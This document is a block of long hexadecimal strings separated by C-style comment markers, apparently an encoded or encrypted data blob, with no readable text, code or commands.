320c7148a7bc0815f0a06126050b8c50454b0630d005fb9487125f9667d67cf019a996a7957a8057235a3a7d870fd6a0c2538d09aab1b2623b41022759d4a9fa0fc20d963c281f4023195eaf2fc2936ed700b2e17e90506367c792d1b813cc082553cb713090317e4d75340025f28b79c4dfe053af588aa6056311293d99ea71ace7fe5fc7ee380f4a4b9009878a24328b3f46d5e5be2102e4c4df65606ac69aa75a72299230ccf881ba5caaffc24b5a0fc34de086e50dc3027796d8d1a9f2f52f90ed183c54177938d50ad1c38b10219e0b519b97f2841614964e8e41d45db87b4dfda3e9b03d0941133edaaa0169932b7a9361af2e46abaa134e277eac55887429975f8590cd16521a3160bdfee0f2242845285a1b66cd55ce24115e7612c71c7a47eb8a63739df91042d1c0e917eb39d6ba371c1a9b3507b63ac52e801da19d61f87e5b850b289e886590c32a39445ef9017c6cb361a0908b01d51d1e3fc303823482847fe73af142fd445056a8c5eb936ba71455491100ca4f9f09c001a9e392a1afdc0cefe5cd8e3264a30df678c79fd8b656149dd9f2df2e0a34dfd51d807407401881302c534a7fe0f7f51eb14e5ec72a15ea9e87bb4e22263abb1524a8fad0af6429fa6095912713c8c35b8fa2cd8b33837b8c132a1483ad5d4980eefe4416d39cacbb423cc5f20bd1516dfaa74f7a80b10d853c7e4751c1eac54fcd210645f256acc8d6d7bac94418fbf8f6b35edf23fe44a70f4950d63cd882daafe29ca5b1d2590d935508fbf1b6b4c3fb2d4ac216a9770469d3e38a87f755cbefbc4a8ff336b5c8539e6d01fe1cdfadbf2ae4a55dd905489dac0388a348104967859d1c6dcdee0469af27ceaf0cafe4d0f07ec0cef0b88279a3cdce7e9633f27a625ef5b90c1e628ae9f7c3df458ba95e9b499c6aea5b1764d3359c3dc7f097c9091305ebb9d62dec4c2aaee894b4b7a6de0420d3a38a53f0a73cf5fe691b49b95c8e7d8b56b5f740cf8ac4d3b94d8c36b9a9ef2114cf54b4cabfc177e3874e0006d60be1969e16e69d489f96c626a5639b3db07a08ad27b6702b1f2f35a1b121ca9353f32c93afa790c6008ef2727734f544866e467106e83fe50f7665369dedd82f60c3251ab346fb149024ac8540393871e19cf0815cc07075894a8e8663daec628fe96b7594f8ef7176869af02c5a8ccf569bc4f612947cce93f18193fde77b84451286a2bee906df71d5413c0b6d158555035dbc133a6478f7ad77ce14d4feb46a1a8e89d2e2af43d052cdcf5824521d80e3a781d4f2002e69557418a310e657e6c92d3370e24e79744e30c5375fd7a66fa08182e95995b146524708c467cf5ae931cf5bb6da6f2b4122d4aded8afebccc2b5a10c7c97e0e0349dd63ca4871e2783f89eb068b7bbef0eb4a17bee666908ea5c9e87a6378307b0f44b43410*/
/*213e2365dc0afe3b469676f345de813177c4b1d777f8db364cc3244854da9746304b7dc17260dc880bbd84173324fbfcb481bcbf8f62fe800d9077d4c3faf13efefbb091753b83de9d959a0940b6b858b9f98c50b89965591311f4aff4bb0831b74d2a3d8fcb0119846a1a82f99f21faca813b55fdd65f8262078c4159b94f0d9778bf7b821d97fe41dbf4016772ea3f2580f1ef5fe899b3a87e29600d2187edf3493bd07da55ce92dba806b73b2f71b685727141628cfad0f4b16de5e3bc6cbcc5e61ae57283b5c7b28b0ae2305adb9c2ab0f37aaf0fcd4077364fccf1c4b36e969b372632b317de18ae582eec6580e69988cc5a3a941cc4077daea3a0bfb454015d1579e16f5bb5e90757274a6502a2e9cb84457a481288d743b039cd41acfc22784eff9e64b78c3142b51b3c98de2f8c75e5491d4085e98a75325f8a5eb2268053cef4d04bb40a7bd008d9e347aafbf9fae6defc58c9546895ea2421978b3f2b362cb0bb8dddb402a40785bfd8a6ad1ff01de05dc4771107f4ed2b2c5886536fa0de34acc2f62b345be56b2625244edeb8107c856615ec312c3f32cd7991a2db9697fd5cb61f6591d6908d686749f87ca70d0447e567f4bd642c2c02a793de526ee0d0412346a9ffcca0acdcda65d22218df2734a0563f5432556cefb16f60f90f1573bff637a2e21f20795e214bc8e2891fd7d41f4c65d54edfcb76b769ea58c1838e7386b0cc18da1044844dd7d87a435e63131bbdf38567e15766562b5634e10a3cdddab3d717579726753d0c946f3a0d3397aab2f6afdf2d7217dda633a92917442fdcbcdb306248660a8107d6cd76e05b91c16a1229fc79f797e2eecab9c22087afda246731dcc8db0cd29e96d826868ef545313314d40926a2401d0748d37ca79dc37a3105262befbc62d170a2b0ca596cbaba0469e7fd0d62c3582078e5e3a114c328cbb9820b415452c72c679e5a747b899a34e12cfde954275687a6b3ef565422fb9aba031c66acdab0fdfa21477017ab524a682d3d845b69af1682801faa390c7f57e20c6df7d85b03672a7265fdff3b2f96c4431a0f5c60821c9ceb9a538ba228fba90d5fe428a67271d4ac134843ca6b9566d4c6d282d88c98fc092e511dbf02f039ede6222d8832d67f598a211d78523edbe5d48858ef0fc019f8fa1322b53a9cc38528381f1eaa8d0f232caa6bc09586877ea6394acb3bb9e1a4a6d02d6815f8d09450e98e937ff0fcb068507e4d29cdc68377bed2d7e6abf75fd4804303427d439544349002f29a52737c5097769b8f8f1cebdc0c545f6a8cd3de740591634b20ea0e8241dc3f8f0fec0a634aba363c4c7b86f57d54b9fcef4f21de7737557a2241b1a510607beef5ea551f1263d0bb751782fb2ef68e6b8389ee48cd8125ef2b7d1c4ae31be1123994f7b02bc4d19de07ac07691a21d87d2267ae8da72f8fa38f78a7604d229c4c8e499902e6b4a19bd5b2827ff6ddcc4e37f360bce23fcb68642102d809f052712fb36cae8f9347be7dcde552330bea4fbdd7eca97eab777c8ad500437271e8a234cb4677eed1cbb8b7bc5d7f4e240f345bde1356e36565baf91fbd476ba7251f73a74e0f8a906cdeb2f870798293f6cfe646232d958f8e4bd040d87bc4f522aa3013ee36e4bef90265f10835f080ed05ba7aaf36dc566010d16e2cbb9d9a28040a68a525e97b34d4b8eb794db361eeac56456549c94f2034c32a21a65e05b5c50babb247dd1d6e634c2153a20e07ee0da25fdcc7ec388bf64c166324de3db4978831297b70248885cea7f0f2afacf174b0973c3a4870c51655342effd3a995f3e627eca2cba6c2fc30770a5f016c726b31becc234635f573434793069fcb8cb7fe651372b291577d2496668bb7250e7de3730d5bcac017254e08f4873d483581e724b62b3da391d6f8bdf95e63b8119d106c3be78db602a137159a2e46f69958ae5263f87d492c65e3898a5393997f519273456e3237b868dbb49557c4dfa5284719e95462240b89fe77b4307749fbeda6d893bd35f0f6f2e5f01f1d7f2349211388e38a08c6d7b54950177bd889febfeca192fe59c42c9fe844b4691a2969fa4d6c3103db70c7b7a1409b8872ce6f16e94181f8f7ce875a4e0101748a471195225aef17741455c10290ccca7c856dad341af75677877a9a0117f0ad55dc09ad4d9359ddf23b4739bb43941ffcaca34ea6d9ce7785efd6862b37b41d264cb9ff05219fb8647998f379612f7abeb4e73e6ff15331a97927d66d4306568010aba94eeb29ace1463160bdfe14c13485535e96fad3261e7d6755145b6dd570d6081ec2312d55eae083a1d3dc3e51bb18b8a083c92fd9641262318f7f6a35da6f0fa24185281056e2213e8e7bcb4ece67f1964c2cc213e96b43ac5d399515a7909009b3ab850802d8c7d54d2a3549f9e7d19f69e9cc675f9b9f7113cccb820263e6f222cfbdfb74d7ab5a436486f6d3fe4bde597e5f305e829c94e5cdd9c7b578854595f9274ba1157a6e59858f1f374588b3880bac85885a5cdc847958be04236db608e15f827cb93a27a131d00a23453e34a76096839372bf2bfcd1e546cf46bb24d9bc9117a31a427cf231986309f91b99871b64d183773d1a08f70499b875524bcf6dc50cff2766f2a3a025e66522a66e99f2e1c27268c5a6af7d3ad91965e799a433dc04f7b83b23ed00372b3dda92f81f24554de4f2757296db2ca5cddb8a010521100625880b5f5169a459b4bbced1b9cfde4c3ee6095bff783d5f54135f7d8c42693b0f423c14b30070ed7d7bf5a487498b420f70fdabf2a5a881320d90*/
/*9458f430ee31f273b3bb86ba4163416d1c7f05d3621be4d4d71f846b2ef44a3c53751a98100f961df555fb39c38798f0e232c74dff4aaa256b3d33045a92268f1c5c8bf6c29885453ac14917af40819fea6f3b1942de127c2c581ebc3e942a867667301efdea18bbf91116e665e45cbc660ee2e5fe1a1ea73ef8afaa14ea319f3e503a354c6410da43cc998e84ec7d22664eee95672e3843f00d02bc86cfefacd2f7bd21373ab9cfe9e8907284b97d23077f8546261bff21b6f2972ac674e7ee43bbd41857683ea4aa26ae7f680b55571517e063dc94f23f98ca5b5841e79d2f9c412934d44b1eb3981263f294d1ac4fe56262df9ad7b726040e91c8962c39a7d116bd34adac60d6e9bc854be442b7361012605c352c76566f9317dbb28bd74a6b40bd5d29b4e53aea23a420e79682fb52aed66f96bf967228ec216bc234c1c3e01855d9f6a28c273599f7dd7c496ae1a059f0454f8d74b447ac5f1ce5d2e4cc444ec8b9b7e7bccc49f3769fdecd1e069626a973cf596c39d7254f884182b4ccb04618f61c2bab9bb02f77bbf0c38de9ec4bb25fc5637522c77b84dce2aed681b06a565ef1c088ac80a08b1e601e6ed45045741f5d714b028511973b1b860bec00f9024544edbb80e55e3ada799360ffb74f2b00026114fe97285b9844a33c9cf6d9a9531db1827d873672361706841b9ffcd385810e65537492a0795e583be2f0b032f80f361e85d4c663986dd4dbff80e04e46f5ef5834a51c6ecbe0fe8ca10a783fad6362c921f16fdba92761432127fabdad895274cbb644d62ea0fbac783d692fd3ed359b1eef01b9dee933cf54862ece9922c6f03ed4fcf7e0094bbddd525265a62ddf6f585745d9fde195bafc9832109d0a18d7fa53c526d88ac801d7e90d0c6ccbc42087d5c74a57b1a85f1f23e4636d131ac2427a7badf0b541dbcd904620605b9de538aa88566ac3ee5ddc517ea628976da925050be00ec3f95458ba1bfd623a30712e348bda3abbeb6b5896d0c511dc8818d5417e80ceb35121415a28f06f1dae6c9972df5679d1fa80cfd470d13b4583e2ff530a3e03c2b46a69d5d52080f52b093e513b50328b69d1e637379be613118bd90a5fd235615928a54d4dd4149d8d9f090e8e3db563c53cf2ffdcfcc53edb20e2126484c3e8b04377b0cae76d409af2806206d63b4260c8a96e64273b1b92571279d4a4b007ebf07bcf79c3372c4c7efb67da1c44766051b864da29db8807bb63c6d489ecda7d6ec8410c1f6c7f67e0988cc44fa31874e471b55fbb8efe5ea660dcf17cbd6eae224384097e7c58783a16dfbf78300fc4b550728d23b389d5b2908d55386667596afe78077e562a82fd94c07d23bbf8a22ed8e088b0dfcd685d66f1de4d1bc5581db11b67356d8ef4c8b43952a73303062cb827cedc7fef4b3cd2845cc78a647bd2ff8ef20789dd34ab13a386f5bf03a1e5e85fccd0d1685b21959e738f04d9f3ca7966b3c1f7936c37c56c8d3844431d3c8c1385b1101029f39b9b836765c71eac69aed6659a86b5e159a698ef5dba6ac4bac3d0b151ea3c8c179858cf7cea599d2a1f9d71a8357de02a80d57cda610407843dad9f4d0f1b3654f5488df7ce292236ba70c91ee49cf0d4aedc4757ff170c994d6d38c8faff18d10bd0ad0bb765d01c7abe11325084063a25be4f6c8499ca26e5d3408a6d054e7e715e2155546f47fdc85353c94c585e69bcd3d155dd41204cade30837cfc8def7945654c9edcb5f5fa556afa50ab186c15b2a8f50806d51479e0df8d1ed737a23e4470ced469b03d1dba60dc0af07a074e71f8b6c28e02edbb02c7e2c5fa667e53945a8ddb9f1c221faaee9699b52e82d1862da44c8a43451454f2932eb31012c1736829e5488e084fd9a0d8b707c66ad36e510ac41069b01b30186de785febd2c7e523ef69f23999a9bb6194ccab4b30c80064e04ec955698889c7aa47ab833084c20f8a9db1ddf76b04e7e998eb7d70b5b6c0ce02fcb7a4051c876bde7ed60c05e12388ab6d36cc8e057fbbd3fd2d72828d8c5d2da53262fa4e758b9af842b703f15b27948c681745077c1dd0f23a5b8a04d194bef8e29ac4c7abd2b59cf58803826bda1ea3c38ed59696f1e571e662ba67ed8a3e87d33d59f6902b87308b5d1dccaf773d95d7a3ffa561ad42801fb849e244635e5938734cd999e61da63e897d8751d0d6a82de26a14d9e5ff69dbc469141f2881f653b316dbfe80ca799fe346fe1adc1959cae063b2d3263f9284b0665d1d76b903d7b2828761bc0000ffbeeb84036c223ae7c706111745b1fa1a4c770721c1d2260f73cfe0cf066cc71a819c72410dcdb7f852e012154ab625655cc24be837ce6a7f77b9264d56f808734f802806b17b7c02e725a2743c48707f771c9584000f6fb761b62868c3fb299bcd2be635383bdefe4551297bffe474ef42e46c41573a8f0c6ccf0798060f0d142befd9690d79dd76d3395ef9fc972b8b57bfcde95cfe0ed48e3884ce7b7cc94dfc6bbafd7115803b9d192a7adfc1e42609357686ffdc3b49eb12bbc54f0f661acf9f00b117685b8995ed2c47a5e04611141aacabad81b57e0425d8314f3759f1feeb50c74d89cb3ac4d44d48cb851b83c5a617f5e95a54f070a3ac35522ead7b6f719f280ff79327eeb8d0bfd2f7289900ca5a03942545ab413831d26701acc8ad8013a7b6b758afe2c1d49de3527681a419b1a5c0dde921a2edfe5a2c02eafa616720b4fe3713f929d9ef89e8bcb9e4c187ddd3389eb2abec10404e5ac15960e6c0b8f336d8a02dcc4f6e8d5638293b7a38b1a35b195faaed*/
/*2cd319c85940ec53e2bdd8faa0bb0ffd2dbdbd19a37cbc62febfcb9b61ad4b86c44c43d3054fe7616954a8b4e777b0ccae70ba504e75b8662dfdd9035eb280b7d0a4e449da9e787f02775b6558cc26163d5917678e69c885dfdacbe794d7533a078aeaf4749a2f474e3942aa6ff17991c124ba33ededd9ad7d84876a14d94165fb85ea05ee0c92a2cb25d6f81c21e16bc1ab506bb6f3441bfe13d083a29eba7c28e8c16e8ef8913364fa5699a14af11f10127b5019862f67f28a2b994e718683b334b1385160844a92b5528d62b2b5bb77b71a4afd52066beefbf9605cd1a41543649c10f3af31834c77c4f32c309ac563f8e1c75ba6bde765ac6b423724ecc3c8ec41470c97ccebb43c39958b18c2837b81256a9fd6e1407cd6e87b402b8c466f6b143d2171ed3c53d0b2b55933a8451677c32b61cf2a3e7c0c8ffd049826664c475b536cbac2dd636110c510eeca1fd85280c51e3886c3dd9a96b6792a11986b30f116b882bf5555db3f82d36ea4b339421f5d3b1d5696b6c711d23ba2b3d4f0952eed324523af3f94a427517f865472c95913ed6ce07f5e27dcf7912fa44106b24dcfbd268b40ce02dd98902c4d645019ffd7fd29878d1c61bd860ff10878379a526d311d0ff7be0272bc38c8227453f6d8762a3540e62a2bc240dc5b39989bce7f24af38c2cbf820e703e2e4441928c01091e27591e500f95d3239cb8925f8cf14aa057d1b86ec36e85d204becc7ad3a35960b79fe3001044e789ca526cc62381c7c1e5821c87102aeb163e2c05bdfd6d315ad0fa92c49404ab06a37d74c197552a3ba675e43162ea1263bd24999181a4eed94c59899002c7ab98a8f0c899c0b814c15fa3a63a18b6fd01319293e863a8e1d639e84cdd3c66a7ecab611fa8f92c2b0051ffb48993ddbecc3b6374535538b6a8351e93445f01ca734672cd930177c3556604c436f3b21ba52eb9153e560d613e2fe06d6272c0d6c038360740d4cb4769e48f56b6e6996e481e58ad6c620c7ce49f950c944491f61913d04043adce952233f423abd30a4d891719e09a32957342e4a10f220a4c7b5e68c87f97745b60c2162969b90dc5957132e8b0b4b5be5010acf53ce2c140db8c062654a55d7d8ed4e8a27c95dbe4e8c679346f7e95d6dc134945e01e11f9471bd3ba3e3b1efcc9d7dad6b68248826192ebe00072e13afb1dbb91460e1492b98699844d190f04a3b7085a54d167d2e41c561127b2ee898322852c9d110261747d1485f1328cbce56e4562198acf2ae9d042e4590215a86ace6c49f3139d1cc8040a504e4278c6ffb28e984ce14b5e6ce577b66f18deb5c2892590e5d087ce35eef25160eaea23f0b6ed0a3a8bd6686b7316c69ab36fe25fb5739109477e763919d6604dd23903cdc6f204020c0dab675d0c9eb27cf67abe1c220a96066d067ee4fbabd2fd34faa62b5fe96b248747aa41108a9bbbf932e33c01ea70b380cbdca8c97f03709dddc4c5a017111af8ea6668511f3959863d311205d928e1403abc42cfe61a34b7eb4eebbadd603608d145f8e46272293bd3cdb774ed2a83bfed8db4129e7955e57e767f0f44cc981e0bf77eae123546d7b68c21b50acffe6a95b2b5bc7f6cc4075e55075469c247aa3daf8e963b514575c781ae22493a989d618fe488d9c0536a5ac95878b51f8fa469faa94d54d56f01312d9c0ef908c1bc99b479a5da1d872e2c02ba6fdfcfb73431800e76838625e47f0dc4f8a121e97522d2b7bca728c80ff7da31a53d2425c6891ab5610b0271603b9cca5b8f8b1302c37f3faa667560f242784ed4239ce177cc00d2de3403ff9492801e0b7e08ccad8c3cea99fd278fa7ff087d15f802a1c8c5bd8b91966774e7843fcce5ee57d33ed9d3791a9db51895552ef779c46b37b12263339a174bd50f734108fc64d77f46aeb416220d76c01a220f659ebd4e1cd30c78b0906fdadb5948a1566a6f80d2d180d81a92c277920597113edd6da6ad6b7401851e9f93128c12087a9617e54f74bc1f0b29ab44382ba9b253af95c2a589d1b2b324f57b5b049e74e59a95671150fa39d14e2ee1ebc483d77b18a96a5ae677220d6c61bd48bfca795acb42a91a7d569dd25dfd4a4073b5058bf139e3fe1bb3cc43928aee698ec3ac4808cffea150e6d6d41b52cb5c59265a9cd921d745318b2f8372c43cf0e91b9f43d60a12339fc97c0d8fe68f28fec81453c0f4465aa881faf8486937f8186b1b248e04a092825cf9f8b66c151631181fac901efa7456480ddde6e608f456cc80b6048c61259d56c547e5f8725df21ff3465ccd6fb1186ab224f8299b471956d3e0e01168a185cae859099abdd173ad1bb18815d3d9320b057150ea5228fe57865ceedc92076edeb558b415eefcad283d1b915a628a06a621b97f9b8d17668a74b8ade8b38296dacd6896148aacc30c40c2a1003dc818cb1082d21505535b07c70c80a0c7f54130fe86a770495c56cbab52280f33aed5cd9be417822fc8cc97a354442d90edb145151689174209d9b78b54a1e18303b2a37733bd4cda81755f0fd7f429cd746bc6bd6a03423e9f8d45d31a9dd47e0cf212b00f394c921291d02ccec8c17f94085b9f1d92f1a9278f111a54f9de84e7feca7a58597e96d16fc9ab14befdd98aed6004fc2b54465174d972e30cc342a4f6a1adc6121ec49fee563db552a0fc5bad7fa9106520f18a3992cbed24739c1bd37c2c0ba9e99a3de86091ebfee282bb9b4de1df2c16ac67f96effa63fc611cfb0062fd95a1bf21ba51f4f3526a27473c3a257e18437116ca91be15b0c9950200e1b02704546eea*/
/*6ddb9b7775e2a40a62895f4f450072dbc2dde3155415f4f12ab03dca82acce9fedf5cfa7c980ba3f1cedb800fac5c9da9ef63665d9c75a92a9f2a0e1ddd5793eb599d63f2585f4bbe2166c40847f6d6c4b54c2e49f17bddd53e82f4dfe88e1ef313443cbfc4d2e26b6b6b4532fa3b573885fb45f1745cb91e6723bb9dce03412bca8ca868550f213bdd3a3abc83ef36003c8f84a2b0f1e329c3dbc3bcd4d2cc1fdf293b297912261e90a85d0ce4398c5b5d95e3bcee9fda33a94830d9879e31e4698d1a01e1317f9465ac2fa92225f2eb78220ca61b1b0dd8667f4dddf2fa728d083022d29e67ac3ed419fb225b993254b993ed3ba483f1daebafb0b2ea627b1981d09d6edea851ddc5aec7d49312b99a0c6be0a13c77002cba4d658ed96489c462dbab631d78ccf047d72a7b06e572dc0c9e822b8da91b4933721e9880511195bf28fcdbf39c2988d2c0a9355b4232dc305901b4c509cf6b946756ac8821b3a2d248af32605ac7ce42b74c69a3c8aeaa6df5e7766d229663dd346b0e18a707220f5a7ad27d8d5cd6e77fa7bfad00939742c21d7d1258d27e938c12a62baf4f6377654c6ae12bad3bad25295840e10fe10c7b19af28479a05a3de466b4642eeb6c0a8308a3fbdd75f0c3efd9edfdba3635fe5e66e605154215d597477717ca169ab9dd72becf85201a053425a29739ad5bc12035d7eb87aad6c7397764f859b0f53511fb4372522ed9ac0b266b4e3fad69470d4f5a8989555956562732db391c92c67fe1a26088841f6f26dbef44e45fae7dc11ecfbf8636be5ce1a29550711147440635aabbb1d75e66007342d08880871281b210799bce68c0062bb72dd2bd7c66ce4ec49b10bd4eaa9e3a31e63d6a1ae6a6fd66185831373076e7f208c5430d5117d4267ce53ab70d8a4573676cac111457ee53685f2d48696407ceb67e7869a95303ee4955a0fd1278e33f346213127f71cfc3cc7af3f4c11b592dcd675748636fdee7124a26b0c55f827566d8b5fc5f1cd33756d6a3de65019f88a433a5d796a4d51654da06cabb19eb785317fdbdd82467974fd9c02e802cd9643405d78c3d2c476c2bb4eb24fbc1df44613e2cf380e8655c8b6d4e8496e58e37885aeee085e7ad72b90923b28b0285edfe84f706805ba94e352ea166f5d1c2f1c614850f38a1f7a1f32d7660ed4b2d35fd3caade9a72b517a6ffb2a51fc4ed8cd3beb9bfbc24fbfa4afd0f3c0fe3c2b3936228f9f89ab369ffb21545c9f9a48d5bad43360a18a72b50c17c4b54fd89b352d1fdfef27e349b09fbc8d1940b15d9bd9b7cb09bf58a4ce203dc6acee02b64205b69c2efb149ef805f844b3ff5917b12e46117d213b77c8090744512f091096cd13a4392ff2369fd8d74c94eea4e7554a7017272ab03afcabc137556b98e2ccc812e31d9eb0e4ca3143ed62870132953807feb3639e3dec27b80eec080f6aa7b1a1012333b3423fc23c1e035d62236e3c35c092c8ba5d08e6b863e71bf5916682852b121e1c933d11912b374499cee0a04d2a26ec8ee814db743bbdf5c8b752e17a00f1d128d3e7ab45f5b6e7f61a7690809f996372f9f96e4e18b95c3ad46a7763bfac8b2917193604ed8ba3d29841a7441c97612a322bdfb5a7ada204a82c36759602d2756cbe8d6f239b6511f0c414b6259faaa730efb488af9674c3f1d43cfb6e3056fb3bbcd856eed6a3d90bdd9ea629e6340d704d270e16250bf06e3b7c684079a92b2737c8013f33e834842a040ba874c4f0afd144060a03cd0d5d38a2d33477dda58d2679cc1f4f81ec2da2ecfb0ac6d7a40f97dd2a663ca140722591096aedaab58cd5b86e2f9cc082a6b6b8401c851d2c01bddc52ef63c0b473a5a84052f75a658741c39ddd84c0167fe7d0e0e7e9575a6e0f45601b1477a6a7513cf908e8efb70f2f4ecf7eee9a31484cef45b51f667868fbaf501c99dc4fec0a8175a829941f03a4522adadc12a53d7474678dcd305879900732bb742149661cea48a09477b97992a0397dff4686adfbf80ba7216ff733f2315162fbd41fab62ae084444e7581f1cadada0929c7b5b2842f2adc572c439d29229250ea823e5f9da8aedcf08fa1158d649b91ee63afc3bc3a2e510da689a5c721d94da598a0eaa280bf3b89bd173579b435fef00f55881107e21d2ee2c7c6850f61285b43cf6df82562143641d9c77cea7d335ee909f6ca593a558ff9f82047568de001409466c3dea8a12edc79ac7565c7ae41829ef773bc5eded423f501d0eb6c4f02a5570b123b65b159e9a24bb16f6142665271c7d6ce1bc5fc8e7f695a90a86984ed862844be8c4c9c62dcf51d557733b1c1fe4860436cbb0da0ceaf59821d1dfc4d12fdc4430b3d9923fada93beeaf92e66b815d3e63dc07bbe95563a9b1842843d2746e30bb40638cb657dcd0af63ca649896a3f893a15d11b92ada4aba2d9d1ebad0867d82688603df414d7c721bff56c52743a88891b6600f894f07745c03f6f668f591f6a5505be3c7aa0594b9b953a4eb993d35c2f38b805e1f42bad639c2c4094afe1596bef16039b68a1ed91e555d98437f3106c271b9ab0a2b810b504f2ce86b6e7b314de183dc83e68c3b2d767a4c1cea33a2ae789cc8dd4c088c0a3953839bb567cafe9f7ae28e28ef2354fae45bc182bd4de7845bf95817f01b69381289e861161033bff2c20475c20b103befc9f8eceaafdfbebd950c6f16e7ea020bd02d6e8d8b4b48bf22c114420f3158d2013b85f82fc784a8d2859c5297fdbfc06e3ccfce756c9481ad761ae43d4db3631e87197f584fb9e60ca6160d10505e9f3b9ac4950*/
/*5680f9715bf3b670c0e8da55282c2f5a554fb1ac794bf1775cd7d8b5411e5e89bd6eb97b95d8ddd9330bf5f461ee7e5414860f6dc273099b206d76a72c8f3c4bfae5b46f6d2e53e8d30462a51fa56c5261cc37edfccd8e3e64f26c050c50d2a45b940aaf1496f8e59cfcc3d6132fd5af998441055d008e76e820f6cb5d39272200717aeb7e2d6f7a2ffd66dcc1fd97429eedb72cce71b46637b202ec2a1fbdee9bf97ddf04cfcec54518108e381b4feb62b3490f2e0a3e5ed35c90db08415c7174a83a59d3f7c12793fe0110399a9959ce393ad6c6014fcc0bf2db547ea0eac510af51d4e2a19b70b81f6331efb8a76a3704d65b2615a87038aa8574f800a9b2a3a0ba003d7b4e30a627790825d76bcbcddf2a0de7cd8667b54376e41ea8e9e9db5b58e7c2e9614edcd32a313efc781d2df000429d9af305c32877a9545c610198bcb4b1691f0cbb804c908a4cdbf8b5dc3e2aa7425627d00955ab52eb9dbd81a200c09426020d74a4623ef9403492f1d444bd2dc42c5f6bfc193abcf4bfc430a964747923868f41b2706c23a80c923a1c28a2db2e9356b38cb29f2334f9f1e1a7f450bcabe19c8daf4549ca078a7e7ef170828a587e8ebc655b81583ec4f78881dc61b103aca663f62ca332d4dd2dc2dc919d12ac9524cebf4425f2ea01689d2a10fd97cadcd94bbaf7bd6ba67ecd8ccd93ec8c9ef5ffb4072e334a80990a693f7b1095397c0a0a877cd5f01694f7dc4dc3f0a4dfaa079dd99ee8efff73c5c83ff430d1ee34d91df638fa0a2ecd9af7a30830b71e2d5ff159add9ddb98efded6192160f0aebec42c3e38c3ee48ac46319659a4731d76f3081c3feb37bdca8778e5b2fdccb9ecaca37081ce0416bdeae6d41c7b4e0406fe1070e6af88203a2aac73489e4374d0f510585588cc65659afa7fa48ff3b23e9a82c1700eb2ef70ac2cf847abbc9265da43bdce328bef9e12357ed6bb9c9153769b7f461a7c4420e4b095cd87d2a224c10750f50fe809f81b055324c7fcd04a92c8b52eeb4985809f1f7bec8f5f6c0dd48cde8dd559dbc496a7540258e49b1eec03f9c567621cb0b8480e34034ac18ec7e4249e488dc94033fd49d193176c6b21a0ee87f8194cf0de3527305888fdad7dcc14a027c47da56ff27c950cdffd75d48af16643d57f61f1d8912289762070fcb03880583339be769c4dbf5506c73967222124c6bfb1a96f53a9b90d552ef60aa0d8cafdf2ddf1ecdb0239d4c5a62ea4d13189c72e362bf9f92a4615e141e397d7d20024fbd0afb2891e1871012f215329e8f51116d0eb5a30e4fc5b4a51e9543cb48978569e2fe339efe64cc3c9ed69774b159b99619e210c39b42bc37d78539b1f08122eb10d5d2c8f1f1f8434f43803b20ac094d4bb2d30fc762cacb1092f3c3245665f0153b7afdaa238e16574c6b34cf4c9364f00d3af71371a2448644440366da4ef0928100220c2f6a04919b369581087bb74d443714a8586c6572cd9e796db0d6a5c93f8b367af5e43aeede015a2fd60139f332ad6d9012c4313aa17a947f23379443f77eaac03f3af77828cfd896bbb8fc036bfb7b079b244a39747159f786f99f1f859d97ccf21ac88f4e82448e0a98ef5fecdf63cbe50e7f434c2ad954690749f818a393a6eb6a678ef46350ae8310098d57ef7e3c5283a0a46569d8e7b6fad5e6ae19bfc1458d5716714efc212203ccc089502f32aefbac50ce0b0bea25f56a0c6ef9c2c3ea1e3af8dd34921d3d800b1303ea65b28655ef6d415a5d2e66b5d13330ac50edb327d360435dcccf251437dec92bb64e4e488e29f943cc696943394e5ab83055235b661dc1cf660477f2483695ab0410547e1fbcb4ab0922673d287c37ffdc4b500fddbeb14f7025462caf64ada66f229ceed45bc3ee42021574395428ebb17b1fc9d82aefed164ed81b263a9e902d6227ddb3fc47384e33233ba6ea62f8714d75e8024aca477de896c10f91498cfc692c4b8388bb133afd938d72036f4f0bfc083a7fd3850e93fa814b91900de2f344bff942e70a0408186e04f922a0052a4cdb2c71b7b4fcccabc282381845c5fbd7604f250e2e283f0b377965cc9c98bf7e7a10da55f623d957719278bab782fad5f820bd27da3075b1860dceb2568ae0b1072d154190645542a4b6d0d4c2d334da5358d2ebdab265fd0b0e4bb65bc93768b2389f94eb26244c33d43991cb2f4c44b3cd5d161a3afbf2564913c8920c3747cdc7a8fe88b89a90a3dd3ddb249e7c02b6945b2d36712a9880d9630084c268db2e4d5ef9c17a0ccdec4e7d932ecb4cfe7a8e2301d03b3e53f829db3634f5b51ecda477a7edfd509555999bdf8144d59cba7d6d34d6db156beae06531905694b3baace8e30a90005e4da46a795934b823d69cd8d4e744767b85aeb152ccc1354523a9f06e5dee35e9f1d3d5af6289aeb1502a3054c2eb59ebe53f9dcb9bcc9f0182a227e4e942c93b5540e3ac82d41a014ca86b0af5807f6c449c0c9f91c7e897a480a2bb131c2123bc3ac7792fb82d04f14fb54c8dc27e94afd624fa9fcaeea003d05ec98bd3c264ad23588f13e0e1b3f8f808817893ed2100d88dd1f73f9923ae16fa91f0093717438386928e6a67f9cf4a4fa802c17b116958af5a02dc5adceb86252cc696f503984f5ae0afeb5e89d1a55e12ac17a591cb87b551091eabb0971dd41f7d9b82eabe844fd5642fba9a8b60b24be2feeafdf859606f84dbbdbc1fdf8f25367005123bc19e0525aae24b56d6a40d62b3800fb8b7d9f9605d8082fb2ee9b70443c0e26aecd7936c959906fbf2874f5ffa82c52d1ba5de0789*/
/*bd9933cb9b00732d9711c5fb42b7b7e9fe9637b780ad9721520ad972d998ffbf54da0037038e11ce30d8be1d0e530fac26bede8c885395e67634b91ebb36cdc334c74625adb098b848326303d000b9baaa63d41da51ea410cbde9ba19db1035d4155a3f95ad3053972e285a2e75204d63224d438b8b6581b749a6813b568c12bc5118bb6b5e9ad7162ac7d9f83ab96a4465a14c4f75b9dddff77ea4146f04c0189ac67811533b8f55a860dc2fd31597d2cd90d0c50d9961df1253703ecc59c79ce3331e055b9261f85dd534dd78c57431f58d499e893d48a9a0ab1ca3b0cd13719e7c059265b5a040ea792825421783b9e373d65c460eed095eec5bce6c0ca73f8abed86e8a76e3637c895e462cad4e8aba462cfb55ecc04ada7a7eb4a22c04ddbeff19ce21ce4d13913399728c1916b5acdc8af45f22442e6220366b97afb970d098c04160beb2c535344d1ecafeb561875dc797511cba0bc352119ffd91224a212c81818c80cd1474eb55e32078915ee850be2b049f0fd73ba0626dc4980431009856c72c5d48e71a58e094a1863444bb77a6980e82c8251bcbe4b881a7e55531f3eee609dff566126669f1cce1733eaf13a588abcb9e0a9c89a828bf9e4055b85ef9d2cdce6e583943d96d002f95cb1dc807ce1a590423f